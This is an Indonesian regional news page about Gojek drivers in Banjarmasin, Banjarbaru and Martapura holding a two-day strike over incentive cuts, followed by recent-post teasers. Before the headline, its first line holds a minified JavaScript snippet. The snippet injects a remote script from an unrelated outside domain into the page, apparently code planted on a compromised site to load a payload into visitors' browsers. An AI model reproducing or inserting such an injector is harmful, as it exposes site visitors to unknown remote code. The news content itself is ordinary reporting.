(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Protes Pemotongan Insentif, Driver Gojek di Kalsel Mogok Narik Selama 2 Hari


BANJARMASIN, Ratusan driver ojek online Gojek di Banjarmasin, Banjarbaru, dan Martapura, melakukan aksi mogok massal (off bid) selama 2 x 24 jam, mulai Sabtu (7/9). Protes tersebut dilakukan imbas dari pemotongan insentif yang diterima para driver.

Pada Jumat (6/9) lalu, beberapa perwakilan driver Gojek menemui manajemen Gojek di Jalan Ahmad Yani Kilometer 11 Gambut. Mereka mengeluhkan bonus insentif yang selama ini mereka dapatkan sebesar Rp 80 ribu, turun drastis hingga hanya Rp 45 ribu. Selain itu, meraka juga sebelumnya telah melayangkan surat ke manajemen yang meminta mengembalikan skema insentif lama.

Pemotongan insentif dari Rp 80 ribu menjadi Rp 45 ribu diberlakukan sejak Senin (2/9). Meski tarif minimum untuk customer (CS) naik dari Rp 4 ribu menjadi Rp 9 ribu, namun ada pemotongan lagi 20 persen. Sehingga hanya Rp 7.200 yang diberikan untuk driver. Sebelumnya, meski tarif untuk CS cuma Rp 4 ribu, tetapi pihak Gojek memberikan insentif dari Go-Pay senilai yang sama.

Yahya, salah satu driver Gojek yang dikonformasi Kanalkalimantan.com, Sabtu (9/7) melalui pesan Whatsapp mengatakan, mogok massal ratusan driver Gojek dari Banjarmasin, Banjarbaru dan Kabupaten Banjar, lantaran bonus yang mereka terima turun. “Iya sekarang bonusnya turun, dari Rp 80 ribu menjadi Rp45 ribu,” ungkapnya.

“Sebelumnya bila mencapai target 20 poin penghasilan Rp160 ribu per 10 orderan Go Food,  sekarang cuma Rp125 ribu. Bedanya itu  turun sebesar Rp 35 ribu saja,” tambah Yahya.

Driver Gojek lainnya, Alung juga memutuskan untuk mogok. “Iya betul. Banyak yang off. Sudah hambar (menarik) gojek, karena bonusnya turun,” ungkapnya.

Sejak Senin (2/9) lalu, pemerintah memberlakukan penyesuaian tarif baru untuk ojol se-Indonesia, yang tertuang pada Keputusan Menteri Perhubungan Nomor 348 tahun 2019 yang merupakan turunan atas Permenhub 12/2019. Tarif sendiri, diatur berdasarkan zonasi. Pulau Kalimantan termasuk dalam zona III, dengan tarif minimum Rp 7 ribu hingga Rp 10 ribu. Di Kalimantan Selatan sendiri berlaku tarif minimum Rp 9 ribu.

Meski tarif dinaikkan, pada kenyataan merugikan driver Gojek. Hal ini dikarenakan pihak manajemen melakukan banyak pemotongan insentif. (fikri)

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

15 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

19 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

23 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.